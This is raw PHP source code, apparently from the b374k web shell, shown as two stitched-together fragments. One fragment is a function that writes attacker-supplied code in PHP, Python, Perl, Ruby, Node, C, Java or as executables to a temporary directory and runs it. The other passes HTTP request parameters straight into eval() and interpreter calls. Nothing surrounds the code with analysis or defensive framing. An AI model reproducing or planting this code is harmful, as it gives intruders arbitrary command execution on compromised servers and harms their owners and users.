function eval_go($evalType, $evalCode, $evalOptions, $evalArguments) { $res = ""; $output = ""; if ($evalOptions != "") { $evalOptions = $evalOptions . " "; } if ($evalArguments != "") { $evalArguments = " " . $evalArguments; } if ($evalType == "php") { ob_start(); eval($evalCode); $res = ob_get_contents(); ob_end_clean(); return $res; } elseif ($evalType == "python" || $evalType == "perl" || $evalType == "ruby" || $evalType == "node" || $evalType == "nodejs") { $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : " . $tmpdir; if (is_writable($tmpdir)) { $res .= " (writable)\n"; $uniq = substr(md5(time()), 0, 8); $filename = $evalType . $uniq; $path = $filename; $res .= "Temporary file : " . $path; if (write_file($path, $evalCode)) { $res .= " (ok)\n"; $res .= "Setting permissions : 0755"; if (chmod($path, 0755)) { $res .= " (ok)\n"; $cmd = $evalType . " " . $evalOptions . $path . $evalArguments; $res .= "Execute : " . $cmd . "\n"; $output = execute($cmd); } else { $res .= " (failed)\n"; } $res .= "Deleting temporary file : " . $path; if (unlink($path)) { $res .= " (ok)\n"; } else { $res .= " (failed)\n"; } } else { $res .= " (failed)\n"; } } else { $res .= " (not writable)\n"; } $res .= "Finished..."; return $res . "{[|b374k|]}" . $output; } elseif ($evalType == "gcc") { $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : " . $tmpdir; if (is_writable($tmpdir)) { $res .= " (writable)\n"; $uniq = substr(md5(time()), 0, 8); $filename = $evalType . $uniq . ".c"; $path = $filename; $res .= "Temporary file : " . $path; if (write_file($path, $evalCode)) { $res .= " (ok)\n"; $ext = is_win() ? ".exe" : ".out"; $pathres = $filename . $ext; $evalOptions = "-o " . $pathres . " " . $evalOptions; $cmd = "gcc " . $evalOptions . $path; $res .= "Compiling : " . $cmd; $res .= execute($cmd); if (is_file($pathres)) { $res .= " (ok)\n"; $res .= "Setting permissions : 0755"; if (chmod($pathres, 0755)) { $res .= " (ok)\n"; $cmd = $pathres . $evalArguments; $res .= "Execute : " . $cmd . "\n"; $output = execute($cmd); } else { $res .= " (failed)\n"; } $res .= "Deleting temporary file : " . $pathres; if (unlink($pathres)) { $res .= " (ok)\n"; } else { $res .= " (failed)\n"; } } else { $res .= " (failed)\n"; } $res .= "Deleting temporary file : " . $path; if (unlink($path)) { $res .= " (ok)\n"; } else { $res .= " (failed)\n"; } } else { $res .= " (failed)\n"; } } else { $res .= " (not writable)\n"; } $res .= "Finished..."; return $res . "{[|b374k|]}" . $output; } elseif ($evalType == "java") { $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : " . $tmpdir; if (is_writable($tmpdir)) { $res .= " (writable)\n"; if (preg_match("/class\\ ([^{]+){/i", $evalCode, $r)) { $classname = trim($r[1]); $filename = $classname; } else { $uniq = substr(md5(time()), 0, 8); $filename = $evalType . $uniq; $evalCode = "class " . $filename . " { " . $evalCode . " } "; } $path = $filename . ".java"; $res .= "Temporary file : " . $path; if (write_file($path, $evalCode)) { $res .= " (ok)\n"; $cmd = "javac " . $evalOptions . $path; $res .= "Compiling : " . $cmd; $res .= execute($cmd); $pathres = $filename . ".class"; if (is_file($pathres)) { $res .= " (ok)\n"; $res .= "Setting permissions : 0755"; if (chmod($pathres, 0755)) { $res .= " (ok)\n"; $cmd = "java " . $filename . $evalArguments; $res .= "Execute : " . $cmd . "\n"; $output = execute($cmd); } else { $res .= " (failed)\n"; } $res .= "Deleting temporary file : " . $pathres; if (unlink($pathres)) { $res .= " (ok)\n"; } else { $res .= " (failed)\n"; } } else { $res .= " (failed)\n"; } $res .= "Deleting temporary file : " . $path; if (unlink($path)) { $res .= " (ok)\n"; } else { $res .= " (failed)\n"; } } else { $res .= " (failed)\n"; } } else { $res .= " (not writable)\n"; } $res .= "Finished..."; return $res . "{[|b374k|]}" . $output; } elseif ($evalType == "executable") { $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : " . $tmpdir; if (is_writable($tmpdir)) { $res .= " (writable)\n"; $uniq = substr(md5(time()), 0, 8); $filename = $evalType . $uniq . ".exe"; $path = $filename; $res .= "Temporary file : " . $path; if (write_file($path, $evalCode)) { $res .= " (ok)\n"; $cmd = $path . $evalArguments; $res .= "Execute : " . $cmd . "\n"; $output = execute($cmd); $res .= "Deleting temporary file : " . $path; if (unlink($path)) { $res .= " (ok)\n"; } else { $res .= " (failed)\n"; } } else { $res .= " (failed)\n"; } } else { $res .= " (not writable)\n"; } $res .= "Finished..."; return $res . "{[|b374k|]}" . $output; } return false; }
} } else { $dirmsg = "Directory already exists " . $f; } $s_result .= "<p class='notif'>" . $dirmsg . "</p>"; } // php eval() function if (isset($_REQUEST['eval'])) { $code = ""; $res = ""; $gccoption = ""; $lang = "php"; if (isset($_REQUEST['evalcode'])) { $code = ssc($_REQUEST['evalcode']); $gccoption = isset($_REQUEST['gccoption']) ? " " . ssc($_REQUEST['gccoption']) : ""; $tmpdir = get_writabledir(); if (isset($_REQUEST['lang'])) { $lang = $_REQUEST['lang']; } if (strtolower($lang) == 'php') { ob_start(); eval($code); $res = ob_get_contents(); ob_end_clean(); } elseif (strtolower($lang) == 'python' || strtolower($lang) == 'perl' || strtolower($lang) == 'ruby') { $rand = md5(time() . rand(0, 100)); $script = $tmpdir . $rand; file_put_contents($script, $code); if (is_file($script)) { $res = exe($lang . " " . $script . $gccoption); unlink($script);